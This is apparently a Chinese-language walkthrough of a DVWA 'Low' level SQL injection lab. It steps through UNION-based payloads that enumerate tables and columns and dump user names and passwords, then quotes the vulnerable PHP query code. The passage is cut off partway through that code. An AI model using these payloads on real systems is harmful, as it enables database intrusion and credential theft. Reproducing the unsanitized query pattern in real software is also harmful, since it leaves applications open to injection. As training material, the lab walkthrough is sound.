文章目录
链接: SQL注入(SQL Injection)总结
1、Low
输入id为1
尝试通过 1’ 和 1’ and 1=1 以及 1’ and ‘1’ = '1 判断注入类型是字符型还是整型。
输入 1’ and 1=1 报错,输入1’ and ‘1’='1 查询成功
使用order by 查询字段数
1' order by 2 #
order by 3 报错:Unknown column '3' in 'order clause'
,因此使用联合查询时,只需要查询两个字段。
插入以下联合查询代码,查询当前数据库的表名
1' union select 1,table_name from information_schema.tables where table_schema=database() --
继续查询当前数据库中每张表的字段信息,在此以users表为例
1' union select 1,column_name from information_schema.columns where table_schema=database() and table_name="users" --
继续查询users表的数据内容
1' union select 1,concat_ws(",", first_name, last_name, user, password) from users --
现在看一下数据库
查看源码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : ((